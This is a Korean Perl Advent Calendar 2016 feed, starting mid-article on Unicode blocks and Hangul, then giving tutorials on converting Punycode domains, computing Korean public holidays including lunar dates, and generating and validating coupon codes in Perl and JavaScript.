모든 유니코드 블록 범위는 <code>(cp MOD 16) = 0</code>인 값으로 시작해서 <code>(cp MOD 16) = 15</code>인 값으로 끝납니다.
따라서 <strong>한글</strong>의 <code>가</code>에서 <code>힣</code>까지의 11,172자는 <code>( 698 * 16 + 4 )</code>에 해당하고,
남은 12개의 영역은 할당 후 비워둔 영역인 것입니다.</p>
<p><img src="2016-12-14-1_r.png" alt="유니코드 한글 블록" id="" />
<em>그림 1.</em> 유니코드 한글 블록 (<a href="2016-12-14-1.png">원본</a>)</p>
<h2>정리하며</h2>
<p>Perl 6가 새로 나오는 것을 보면서 Perl 5와 Perl 6의 차이에 대하여 확인하다보니
<a href="https://www.learningperl6.com/">Learning Perl 6 블로그</a>의 <a href="https://www.learningperl6.com/2016/11/16/quick-tip-1-user-defined-infinite-sequences/">Quick Tip 1: User-defined infinite sequences</a> 글이 눈에 띄더군요.
해당 글을 읽고 정리하며 유니코드 개념과 코드 포인트는 물론 유니코드 블록의 개념도 알게 되었습니다.
유니코드 블록을 이용하여 블록 단위로 된 코드 포인트에 할당된 글자를 모두 출력하는 방법을 알게 되었습니다.
유니코드는 전 세계의 모든 문자를 다룰 수 있도록 세심하게 설계된 만큼
코드 포인트를 통해 배치된 순서에도 해당 글자의 정렬이라던가 등의 고려가 되어있습니다.
유니코드의 코드 포인트와 블록을 이용해 원하는 글자를 확인 및 추려내는 방법을 안다면,
추후 다국어를 처리할 일이 있을 때 유용하게 사용할 수 있을 것입니다. :)</p>
<h2>참고자료</h2>
<ul>
<li><a href="https://www.learningperl6.com/2016/11/16/quick-tip-1-user-defined-infinite-sequences/">Learning Perl 6 블로그의 Quick Tip #1: User-defined infinite sequences</a></li>
<li><a href="https://www.learningperl6.com/2016/11/27/quick-tip-12-unicode-helper-apps/">Learning Perl 6 블로그의 Quick Tip #12: Unicode Helper Apps</a></li>
<li><a href="http://www.unicode.org">Unicode Consortium</a></li>
<li><a href="http://www.unicode.org/charts/">Unicode 9.0 전체 코드 차트</a></li>
<li><a href="http://ftp.unicode.org/Public/UNIDATA/Blocks.txt">Unicode Character Database Block정의</a></li>
<li><a href="http://www.unicode.org/reports/tr38/">Unicode Unihan Database</a></li>
<li><a href="http://www.unicode.org/reports/tr44/">Unicode Character Database</a></li>
<li><a href="http://www.unicode.org/charts/unihan.html">Unicode Unihan Lookup</a></li>
<li><a href="http://blog.unicode.org/2016/06/announcing-unicode-standard-version-90.html">Announcing The Unicode® Standard, Version 9.0</a></li>
<li><a href="http://d2.naver.com/helloworld/19187">네이버 Hello world의 한글 인코딩의 이해 1편: 한글 인코딩의 역사와 유니코드</a></li>
<li><a href="http://d2.naver.com/helloworld/76650">네이버 Hello world의 한글 인코딩의 이해 2편: 유니코드와 Java를 이용한 한글 처리</a></li>
<li><a href="https://perl6advent.wordpress.com/2013/12/15/day-15-numbers-and-ways-of-writing-them/">Perl 6 Advent Calendar 2013 Day 15 - Numbers and ways of writing them</a></li>
<li><a href="https://blogs.adobe.com/CCJKType/2016/11/combining-jamo-test-1-please-ignore.html">Adobe 블로그의 Combining Jamo Test #1 - Please Ignore</a></li>
<li><a href="https://blogs.adobe.com/CCJKType/2016/11/combining-jamo-test-2-please-ignore.html">Adobe 블로그의 Combining Jamo Test #2 - Please Ignore</a></li>
<li><a href="https://blogs.adobe.com/CCJKType/2016/12/combining-jamo-test-3.html">Adobe 블로그의 Combining Jamo Test #3</a></li>
<li><a href="https://blogs.adobe.com/CCJKType/2014/12/shs-development-archaic-hangul.html">Adobe 블로그의 Source Han Sans Development: Archaic Hangul</a></li>
</ul>
2016-12-14T00:00:00+09:00studioegoPunycodehttp://advent.perl.kr/2016/2016-12-13.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/newbcode">@newbcode</a> - 사랑스런 딸바보, 도치파파, 리눅스의 모든 것 공동 저자</p>
<h2>시작하며</h2>
<p><a href="https://en.wikipedia.org/wiki/Punycode">퓨니코드(Punycode)</a>는 <a href="https://tools.ietf.org/html/rfc3492">IETF RFC3492 문서</a>에 정의된 인코딩으로
유니코드 문자열을 호스트 이름에서 허용된 문자만으로 인코딩하는 방법입니다.
퓨니코드는 결국 유니코드가 지원하는 모든 언어로 국제화 도메인을 쓸 수 있게 한 IDNA의 일부입니다.
근래는 전세계적으로 각 나라의 언어로 도메인을 설정하는 경우가 많아졌는데
한국의 경우 <code>한국.kr</code>처럼 한글 도메인을 사용하는 만큼 퓨니코드에 대해 한번 알아보기로 하죠.
그리고 퓨니코드를 피싱 도메인으로도 많이 사용 하기 때문에 이런 도메인을
유니코드로 디코딩하여 도메인을 뽑아내는 방법을 알아두는 것도 유용하죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/URI::UTF8::Punycode">CPAN의 URI::UTF8::Punycode 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan URI::UTF8::Punycode
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan URI::UTF8::Punycode
</pre>
<h2>퓨니코드 도메인</h2>
<p><code>한국.kr</code>이라는 도메인을 변환하는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use URI::UTF8::Punycode;
my $domain = shift;
my $punycode = puny_enc($domain);
say $punycode;
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./puny_enc.pl 한국.net
xn--3e0b707e.xn--net-
$
</pre>
<p>퓨니코드로 변환하면 문자열의 앞 부분에 <code>xn--</code> 접두어가 붙습니다.
그런데 이렇게 될 경우 <code>.net</code> 부분까지 퓨니코드로 전환되기 때문에 실제로 사용할 수 없습니다.
호스트 부분만을 변경해야 하므로 정규표현식으로 퓨니코드로 표현할 부분을 분리합니다.
더불어 아스키로 되어있지 않은 도메인에 한해서 처리하고,
변환 후 나머지 도메인을 다시 합쳐줍니다.</p>
<pre class="brush: perl;">
my @labels;
for my $label ( split /\./, $domain ) {
if ( $label =~ m/[^[:ascii:]]/ ) {
push @labels, puny_enc($label);
}
else {
push @labels, $label;
}
}
my $punycode = join ".", @labels;
say $punycode;
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./puny_enc.pl 한국.net
xn--3e0b707e.net
$
</pre>
<p>결과로 출력된 주소를 브라우저에서 붙여넣으시면 <code>한국.net</code>으로 문제없이 접속됨을 확인할 수 있습니다.
반대로 퓨니코드를 원래의 유니코드 문자열로 변환하려면 <code>puny_dec()</code> 함수를 사용합니다.
코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use URI::UTF8::Punycode;
while (<>) {
chomp;
my @labels;
for my $label ( split /\./ ) {
if ( $label =~ m/^xn--/ ) {
push @labels, puny_dec($label);
}
else {
push @labels, $label;
}
}
my $utf8str = join ".", @labels;
say $utf8str;
}
</pre>
<p>이전 실행 결과와 조합한 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ ./puny_enc.pl 한국.net
xn--3e0b707e.net
$ ./puny_enc.pl 한국.net | puny_dec.pl
한국.net
$
</pre>
<h2>정리하며</h2>
<p>비록 일부에서는 퓨니코드를 쓰지말자는 의견도 있습니다만,
세계적으로 각나라의 도메인을 사용하는 경우가 증가하고 있습니다.
도메인으로 리다이렉션을 확인해야 한다거나,
도메인으로 레코드 조회가 필요할 때 퓨니코드와
<a href="https://metacpan.org/pod/URI::UTF8::Punycode">CPAN의 URI::UTF8::Punycode 모듈</a>를 알아둔다면 유용할 것입니다.</p>
<p><em>EOT</em></p>
2016-12-13T00:00:00+09:00newbcode공휴일 알아보기http://advent.perl.kr/2016/2016-12-12.html<h2>저자</h2>
<p><a href="https://github.com/aanoaa">@aanoaa</a> - Seoul.pm 멤버, 사당동 펠프스</p>
<h2>시작하며</h2>
<p>프로그램을 만들거나 서비스를 만들고 운영하다보면 공휴일과 관련한 이슈를 자주 접합니다.
보통 공휴일에는 업무를 쉬는 경우가 많으니 공휴일을 제와하고 무엇인가를 한다던가,
또는 반대로 공휴일에는 사람들이 더 많이 이용할 가능성이 있으니 이벤트를 한다던가 등이죠.
달력을 꺼내서 뒤적뒤적 찾아보면 쉬는 날을 확인하는 대신
프로그램 내부에서 공휴일을 확인할 수 있다면 편리하겠죠?
Perl로 2017년의 공휴일을 확인하는 방법을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Config::INI::Reader">CPAN의 Config::INI::Reader 모듈</a></li>
<li><a href="https://metacpan.org/pod/Date::Holidays::KR">CPAN의 Date::Holidays::KR 모듈</a></li>
<li><a href="https://metacpan.org/pod/Date::Korean">CPAN의 Date::Korean 모듈</a></li>
<li><a href="https://metacpan.org/pod/Encode">CPAN의 Encode 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Config::INI::Reader \
Date::Holidays::KR \
Date::Korean \
Encode
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Config::INI::Reader \
Date::Holidays::KR \
Date::Korean \
Encode
</pre>
<h2>2017년도의 공휴일</h2>
<p>이미 CPAN에는 대한민국의 공휴일을 계산하는 <code>Date::Holidays::KR</code> 모듈이 존재합니다.
모듈이 제공하는 <code>holidays()</code> 함수를 사용하면 공휴일의 날짜와 해당 공휴일의 이름을 반환합니다.
2017년도의 공휴일을 알아보는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use Date::Holidays::KR ();
my $holidays = Date::Holidays::KR::holidays(2017);
for my $date ( sort keys %$holidays ) {
say "$date: $holidays->{$date}";
}
</pre>
<p>실행결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl holidays.pl
0101: 신정
0127: 설앞날
0128: 설날
0129: 설뒷날
0301: 삼일절
0503: 부처님오신날
0505: 어린이날
0606: 현충일
0815: 광복절
1003: 추석앞날
1004: 추석
1005: 추석뒷날
1009: 한글날
1225: 크리스마스
$
</pre>
<h2>음력 공휴일의 양력으로 계산</h2>
<p>우리나라의 공휴일은 크게 양력 공휴일과 음력 공휴일로 나눌 수 있습니다.
양력 공휴일의 목록은 다음과 같습니다.</p>
<ul>
<li>1월 1일</li>
<li>3월 1일</li>
<li>5월 5일</li>
<li>6월 6일</li>
<li>8월 15일</li>
<li>10월 3일</li>
<li>10월 9일</li>
<li>12월 25일</li>
</ul>
<p>음력 공휴일의 목록은 다음과 같습니다.</p>
<ul>
<li>12월 29일</li>
<li>12월 30일</li>
<li>1월 1일</li>
<li>1월 2일</li>
<li>4월 8일</li>
<li>8월 14일</li>
<li>8월 15일</li>
<li>8월 16일</li>
</ul>
<p>대한민국은 양력을 사용하므로, 양력 공휴일은 언제나 일정합니다만,
음력 공휴일은 매년 대응 양력 날짜가 변하기 마련입니다.
이런 음력 공휴일을 양력 날짜로 변환하려면 어떻게 해야할까요?
<a href="https://metacpan.org/pod/Date::Korean">CAPN의 Date::Korean 모듈</a>은 2050년까지의 음력과 양력 날짜 대응 표를
내장하고 있으며 음력을 양력으로 변환하는 <code>lun2sol()</code> 함수와
양력을 음력으로 변환할 수 있는 <code>sol2lun()</code> 함수를 제공합니다.
2017년의 음력 1월 1일, 즉 설날에 대응하는 양력 날짜를 알아보는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Date::Korean ();
printf( "%04d-%02d-%02d\n", Date::Korean::lun2sol( 2017, 1, 1, 0 ) );
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl lun2sol.pl
2017-01-28
$
</pre>
<p>2017년의 음력 1월 1일은 양력 1월 28일이군요.
앞서 확인했던 공휴일 날짜와도 동일한 것을 확인할 수 있습니다.
더불어 <code>Date::Korea</code> 모듈은 해당 연도의 간지(干支)를
확인할 수 있는 <code>get_ganzi()</code>, <code>get_ganzi_ko()</code> 함수도 제공하니
앞으로 육십갑자 계산하느라고 낑낑댈 필요가 없겠죠?</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use Date::Korean ();
my ( $saecha, $wolgun, $iljin ) = Date::Korean::get_ganzi( 2017, 1, 1, 0 );
my ( $saecha_ko, $wolgun_ko, $iljin_ko ) = Date::Korean::get_ganzi_ko( 2017, 1, 1, 0 );
binmode STDOUT, ":utf8";
say "$saecha $saecha_ko";
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl yooksipgapja.pl
丁酉 정유
$
</pre>
<h2>임시 공휴일</h2>
<p>하지만 세상 일이라는 것이 그렇게 녹녹치만은 않죠.
대한민국의 공휴일은 꽤나 예측이 힘든 구조의 공휴일인데다가,
대체 휴일 제도나, 선거일과 같은 임시 공휴일까지 계산 하려면
모듈의 도움만으로는 역부족입니다.
이런 경우 모듈과 더불어 임시 공휴일을 별도의 파일로 만들어서 관리하면 어떨까요?
널리 사용되어 익숙한 INI 형태의 파일로 임시 공휴일을 지정해보죠.</p>
<pre class="brush: ini;">
[2017]
0130 = 설날 대체공휴일
1006 = 추석 대체공휴일
...
</pre>
<p>공휴일 설정 파일을 <code>extra-holidays.ini</code>라고 하고 이 설정 파일의
내용도 반영한 최종 공휴일 결과를 확인하는 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use feature qw( say );
use Config::INI::Reader;
use Date::Holidays::KR ();
use Encode;
my $extra_holidays = Config::INI::Reader->read_file("extra-holidays.ini");
my $holidays = custom_holidays(2017);
for my $date ( sort keys %$holidays ) {
say "$date: $holidays->{$date}";
}
sub custom_holidays {
my $year = shift;
return unless $year;
my $holidays = Date::Holidays::KR::holidays($year);
return unless $holidays;
for my $mmdd ( keys %{ $extra_holidays->{$year} || {} } ) {
$holidays->{$mmdd} = Encode::encode_utf8( $extra_holidays->{$year}{$mmdd} );
}
return $holidays;
}
</pre>
<p>우선적으로 <code>Date::Holidays::KR</code> 모듈이 제공하는 공휴일을 구한 다음
설정 파일에 추가로 지정한 공휴일을 읽어들인 후 덧씌우는 방식입니다.
실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ perl extra-holidays.pl
0101: 신정
0127: 설앞날
0128: 설날
0129: 설뒷날
0130: 설날 대체공휴일
0301: 삼일절
0503: 부처님오신날
0505: 어린이날
0606: 현충일
0815: 광복절
1003: 추석앞날
1004: 추석
1005: 추석뒷날
1006: 추석 대체공휴일
1009: 한글날
1225: 크리스마스
$
</pre>
<h2>정리하며</h2>
<p>설정 파일만 잘 관리하면 꼭 국가 공휴일 뿐만 아니더라도 소속한 단체의 쉬는 날이나,
휴가 기간 등을 추가해서 관리하는 등 다양하게 활용할 수 있습니다.
어찌되었든 2017년에는 공휴일이 많아서 참 좋습니다. :-)</p>
<p><em>EOT</em></p>
2016-12-12T00:00:00+09:00aanoaaCoupon Codehttp://advent.perl.kr/2016/2016-12-11.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>언젠가부터 우리는 쿠폰의 홍수 속에 살고 있습니다.
적은 금액의 물건 하나를 주문해도 박스 안에는 몇 백만원치의 쿠폰이 들어있죠.
물론 이런 대부분의 쿠폰은 <strong>무의미</strong>하다 못해 <strong>위험(?!?!)</strong>하기까지 하지만,
이런 쿠폰을 처음 본 어머니께서 10만원짜리 상품권이라고 뛸듯이 기뻐하셔서 피식 웃다가,
얼른 가입해서 수익을 실현하라(!!)는 말씀에 어찌 설명드려야 할지 난감해 당황스러웠던 기억이 납니다.</p>
<p><img src="2016-12-11-1_r.jpg" alt="장난 나랑 지금 하냐?" id="" />
<em>그림 1.</em> 장난 나랑 지금 하냐? (<a href="2016-12-11-1.jpg">원본</a>)</p>
<p>정상적인 쿠폰이라면 대부분 무의미해 보이지만 유의미한 일련의 복잡한 문자열 코드를 포함합니다.
이후 쿠폰에서 지시하는 온라인 사이트나 또는 오프라인 매장에서
이 코드를 입력하도록 유도하고 해당 코드가 의미하는 할인 또는 혜택을 제공하곤 합니다.
불특정 다수에게 한정적으로 제공하는 서비스일 경우 쿠폰 시스템은 아주 간단하면서도 적절한 해결책입니다.
이런 쿠폰 시스템에서 가장 핵심이 되는 부분은 결국 쿠폰 문자열입니다.
Perl을 이용해 쿠폰 문자열을 생성하고 검증하는 방법을 알아보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/HTTP::Tiny">CPAN의 Algorithm::CouponCode 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Algorithm::CouponCode
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Algorithm::CouponCode
</pre>
<h2>쿠폰 코드란?</h2>
<p><strong>쿠폰 코드</strong>는 <strong>불특정 다수에게 한정적으로 특정 서비스를 제공</strong>하기 위해 널리 쓰이는 시스템입니다.
해당 사용자가 특정 서비스를 이용할 자격이 있는지 확인하기 위한 용도로 쿠폰 코드를 사용하는 것이죠.
사실 흔히 볼 수 있는 누구나 사용할 수 있는 동일한 쿠폰 코드는 약간 변질(?)된 쿠폰이라고 생각합니다만,
대부분의 경우 쿠폰 코드는 이런 자격을 확인할 수 있을 정도로 유일해야 하며,
사용자가 입력하거나 읽을 수 있어야 하기 때문에 과도하게 복잡해서는 안됩니다.
네 자리의 숫자와 영문자로 조합한 그룹으로 구성된 코드는 가장 흔히 볼 수 있는 쿠폰 코드입니다.
필요에 따라 네 자리 그룹의 수를 1 ~ 5 개 또는 그 이상까지 늘려서 유일한 쿠폰 코드를 만들 수 있죠.</p>
<pre class="brush: plain;">
# 쿠폰 코드의 예
6GQN
HF1E-YUTV
6LT7-RCRR-0F0X
5F0M-GPXV-5077-THNW
UY8W-546C-UJ7E-5BHH-U3F1
</pre>
<p>이런 쿠폰은 다음과 같은 특징을 가집니다.</p>
<ul>
<li>대소문자를 구분하지 않음</li>
<li>사람들이 헷갈려하는 문자를 사용하지 않음</li>
<li>코드 자체에 체크썸 포함해 코드의 기계적 유효성 여부를 검증할 수 있음</li>
<li>우연히 오타로 유효한 코드를 만들 수 있는 코드를 사용하지 않음</li>
<li>코드 자체의 기계적 유효성이 실제 코드가 유효함을 의미하지 않음</li>
</ul>
<p>사실 어느정도 무작위의 문자열을 만들 수만 있다면 쿠폰 코드를 생성하는 것은 어렵지 않습니다.
하지만 <a href="https://metacpan.org/pod/HTTP::Tiny">CPAN의 Algorithm::CouponCode 모듈</a>은 쿠폰 코드의 생성은 물론,
기본적인 체크썸 기능을 포함하고, 더불어 해당 체크썸을 활용해 쿠폰 자체의 기계적 유효성도 검증할 수 있는 방법을 제공합니다.</p>
<h2>쿠폰 생성</h2>
<p>쿠폰의 생성을 위해 <code>cc_generate</code>라는 함수를 제공하므로 특별한 인자 없이 바로 사용하면 됩니다.
코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Algorithm::CouponCode qw( cc_generate );
say cc_generate() for 1 .. 3;
</pre>
<p>실행 결과는 다음과 같습니다.</p>
<pre class="brush: bash;">
$ coupon-gen.pl
QW0G-LD9M-0XT0
PUXK-F6B7-MLAV
3KXR-W46U-1T6H
$
</pre>
<p>모듈을 적재할 때 <code>cc_generate()</code> 함수를 내보내기(export)하면
<code>Algorithm::CouponCode::cc_generate()</code>와 같이 전체 함수명을 적지 않고도, 사용할 수 있습니다.
더불어 특별한 인자 없이 호출할 경우 3 그룹으로 구성된 12 자리의 쿠폰 코드를 생성합니다.
유닉스 계열의 경우 <code>/dev/urandom</code> 장치 파일을 참조하거나,
기본 펄의 <code>rand()</code> 함수와 시간 및 프로세스 아이디의 조합으로 무작위 바이트를 생성하고 이를 이용하죠.
좀 더 짧은 쿠폰 코드가 필요하거나 긴 쿠폰 코드가 필요하다면 <code>cc_generate()</code> 함수에 인자로 <code>parts</code> 값을 지정합니다.
<a href="https://metacpan.org/pod/HTTP::Tiny">공식 문서</a> 상으로 <code>parts</code> 값은 <code>1</code>에서 <code>6</code> 사이의 값임을 가정하는군요.</p>
<pre class="brush: perl;">
#
# Generates: W2DK
#
my $coupon_1_group = cc_generate( parts => 1 );
#
# Generates: W3TL-LKLN-M76R-GP3H-U6ET-DDJF
#
my $coupon_6_group = cc_generate( parts => 6 );
</pre>
<p>매 번 호출할 때마다 새로운 쿠폰 코드를 생성하므로 미리 발급해야 한다면
필요한 횟수만큼 호출하거나 또는 필요할 때 호출해서 발급하면 됩니다.</p>
<h2>쿠폰 검증</h2>
<p><code>Algorithm::CouponCode</code> 모듈이 생성하는 쿠폰 코드는 자체적으로 체크썸을 관리하기 때문에
코드의 의미적인 유효성이나 유일성은 차치하더라도 코드 스스로의 기계적인 유효성을 검증하는 것이 가능합니다.
기본적으로 그룹(파트, part) 단위로 생성하는데 이 하나의 그룹은 네 자리의 문자열을 가집니다.
이 중 세 자리는 <code>2 ** 15</code> 개의 난수 값 중 하나를 의미하며,
마지막 한 자리는 앞선 난수 값과 더불어, 해당 그룹이 몇 번째 그룹인지까지 고려해 체크썸을 만듭니다.
따라서 네 자리마다도 유효한지는 물론 해당 네 자리의 수가 적절한 그룹에 속한 것인지도
판별할 수 있기 때문에 유효하지 않은 코드의 경우 사전에 걸러내기 좋습니다.
검증을 위해서는 <code>cc_validate()</code> 함수를 사용합니다.</p>
<pre class="brush: perl;">
use utf8;
use strict;
use warnings;
use feature qw( say );
use Algorithm::CouponCode qw( cc_validate );
my @coupon_codes = qw(
6KB4-9DLW-566U
HX0K
394T-E1X4
7WQA-9PN4-LNRX-MGP4
M6L4-OF9O-FLYN
6PFN-3DCR-T9IL
LSGPAHAN6RML
);
for my $cc (@coupon_codes) {
my $normalized_cc = cc_validate(
code => $cc,
parts => 3,
);
say "$cc : " . ( $normalized_cc ? "valid($normalized_cc)" : "invalid" );
}
</pre>
<p><code>cc_validate()</code> 함수는 <code>code</code>와 <code>parts</code> 두 개의 인자를 입력 받습니다.
<code>code</code>의 경우 검증하려는 코드를 입력하면 됩니다.
<code>parts</code>의 경우 검증할 쿠폰 코드의 그룹 개수를 의미하며 특별히 언급하지 않으면 기본 값은 <code>3</code>입니다.
실행 결과를 살펴보죠.</p>
<pre class="brush: bash;">
$ ./coupon-validate.pl
6KB4-9DLW-566U : valid(6KB4-9DLW-566U)
HX0K : invalid
394T-E1X4 : invalid
7WQA-9PN4-LNRX-MGP4 : invalid
M6L4-OF9O-FLYN : valid(M6L4-0F90-FLYN)
6PFN-3DCR-T9IL : invalid
LSGPAHAN6RML : valid(L5GP-AHAN-6RML)
$
</pre>
<p>몇가지 흥미로운 결과를 확인할 수 있습니다.
<code>M6L4-OF9O-FLYN</code> 쿠폰 코드의 경우 유효하지만 <code>M6L4-0F90-FLYN</code>로 변경되었습니다.
이는 사람들이 흔히 착각하기 쉬운 문자인 영문자 <code>O</code>, <code>I</code>, <code>Z</code>, <code>S</code>를
각각 <code>0</code>, <code>1</code>, <code>2</code>, <code>5</code>로 변환해서 인지하기 때문입니다.
따라서 <code>cc_validate()</code> 함수는 입력 받은 쿠폰 코드 중 특정 문자를 치환한다음 그 코드의 유효성을 검사합니다.
이 때 원천적으로 <code>O</code>, <code>I</code>, <code>Z</code>, <code>S</code>와 같은 문자는 애초에 치환할 목적으로
간주하고 사용하지 않기 때문에 중복과 관련한 문제는 없습니다.
더불어 <code>LSGPAHAN6RML</code>의 경우 역시 유효하며 <code>L5GP-AHAN-6RML</code>로 표시하는데,
마찬가지로 <code>S</code>를 <code>5</code>로 변환했으며, 최초 입력에는 없는 <code>-</code> 기호도 첨가해준다는 점을 알 수 있습니다.
유효하지 않은 쿠폰 코드의 경우 <code>undef</code>를 반환하므로 간단히 참, 거짓 논리 점검으로 분기할 수 있습니다.</p>
<p>더불어 <code>Algorithm::CouponCode</code> 모듈은 릴리스 타르볼 파일 안에 <a href="https://fastapi.metacpan.org/source/GRANTM/Algorithm-CouponCode-1.005/html/jquery.couponcode.js">jQuery 플러그인을 제공</a>하므로
클라이언트인 브라우저 단에서 코드의 문법적인 유효성 검사를 할 수 있습니다.</p>
<p><img src="2016-12-11-2_r.png" alt="CouponCode jQuery 플러그인" id="couponcodejquery" />
<em>그림 2.</em> CouponCode jQuery 플러그인 (<a href="2016-12-11-2.png">원본</a>)</p>
<p>다만 해당 플러그인은 UI와 강하게 결합되어 있고, 자체적으로 값을 체크하기에 썩 적합하지는 않습니다.
배포되는 jQuery 플러그인 소스를 참고해 쿠폰 코드를 체크할 수 있도록 리팩터링 해보았습니다.
실제 로직은 펄 코드나, 제공되는 자바스크립트 파일과 대동소이합니다.
다음은 리팩터링한 자바스크립트 코드입니다.</p>
<pre class="brush: jscript;">
function symbolSet() {
return '0123456789ABCDEFGHJKLMNPQRTUVWXY';
}
function badSymbol() {
return new RegExp('[^' + symbolSet() + ']');
}
function validate(code, parts) {
var partCodes = code.split('-');
if (partCodes.length != parts) {
return false;
}
var newCodes = [];
for (var i = 0; i < partCodes.length; i++) {
var normalizedCode = validateOneField(partCodes[i], i + 1);
if (normalizedCode === false) {
return false;
}
else {
newCodes.push(normalizedCode);
}
}
return newCodes.join('-');
}
function validateOneField(val, i) {
if (val == '') {
return;
}
var code = cleanUp(val);
if (code.length > 4 || badSymbol().test(code)) {
return false;
}
if (code.length < 4) {
return false;
}
if (code.charAt(3) != checkDigit(code, i)) {
return false;
}
return code;
}
function cleanUp(code) {
code
= code.toUpperCase()
.replace(/ /g, '')
.replace(/O/g, '0')
.replace(/I/g, '1')
.replace(/S/g, '5')
.replace(/Z/g, '2')
;
return code;
}
function checkDigit(data, pos) {
var check = pos;
for (var i = 0; i < 3; i++) {
var k = symbolSet().indexOf(data.charAt(i));
check = check * 19 + k;
}
return symbolSet().charAt(check % 31);
}
</pre>
<p>실제로 자바스크립트 안에서는 다음과 같이 사용할 수 있습니다. :-)</p>
<pre class="brush: jscript;">
console.log( validate("T13P-2LMP-E0B5", 3) );
console.log( validate("T13P-2LMP-E0B5", 2) );
console.log( validate("T13P-2LMP-E0B5", 4) );
console.log( validate("FLY6-TYPQ-72JJ", 3) );
console.log( validate("PM98-W5MX-1RD5", 3) );
console.log( validate("PM98-W5MX-1RDS", 3) );
console.log( validate("PM98-W5MX-2RDS", 3) );
</pre>
<h2>정리하며</h2>
<p><a href="https://metacpan.org/pod/HTTP::Tiny">Algorithm::CouponCode 모듈</a>의 경우
생성하는 코드는 그룹 단위로 각 그룹은 네 자리의 무작위 문자열로 구성됩니다.
이 문자열의 네 자리 중 앞 세 자리는 실제 무작위 코드로 15 비트의 무작위 문자열을 가지며
마지막 한 자리는 체크썸으로 코드의 기계적 유효성을 검증하는 용도로 사용합니다.
따라서 <strong>1 그룹</strong>의 쿠폰 코드(예. 6G75)는 <strong>32,768</strong>개를,
<strong>2 그룹</strong>의 쿠폰 코드(예. DKV6-8LFD)는 <strong>약 10억</strong>개를,
<strong>3 그룹</strong>의 쿠폰 코드(예. 6P29-XR39-LF62)는 <code>2**45</code>개, <strong>약 35조</strong>개(!)의 유일한 코드를 가집니다.
생각보다 꽤 많죠?
쿠폰이 필요할 때 잊지말고 펄과 함께 <code>Algorithm::CouponCode</code> 모듈을 사용해보세요.
꽤 많은 수고를 덜 수 있답니다.
이런 시스템을 구축하거나 사용하지 않고 수작업으로 쿠폰을 만들고
일일이 확인하는 상황을 본적이 있긴한데, 솔직히 상상만해도 머리가 다 지끈하네요. ;-)</p>
<p><img src="2016-12-11-3_r.png" alt="xkcd: Coupon Code" id="xkcd:couponcode" />
<em>그림 3.</em> xkcd: Coupon Code (<a href="2016-12-11-3.png">원본</a> / <a href="https://xkcd.com/837/">출처</a>)</p>
<p>Enjoy Your Perl! ;-)</p>
<p>P.S.</p>
<p>참! 쿠폰 코드의 각각의 그룹 별 순서를 고려한 유효성은 관리되나
전체 쿠폰 코드에 대한 체크썸은 없으니 이 점도 유의하세요.
더불어 쿠폰 코드의 기계적 유효성과 별개로 실제 유효성과
쿠폰 코드의 유일함은 발급처에서 관리해야 함을 잊지마세요!
즉, 여러분의 몫이랍니다. ;-)</p>
<p><em>EOT</em></p>
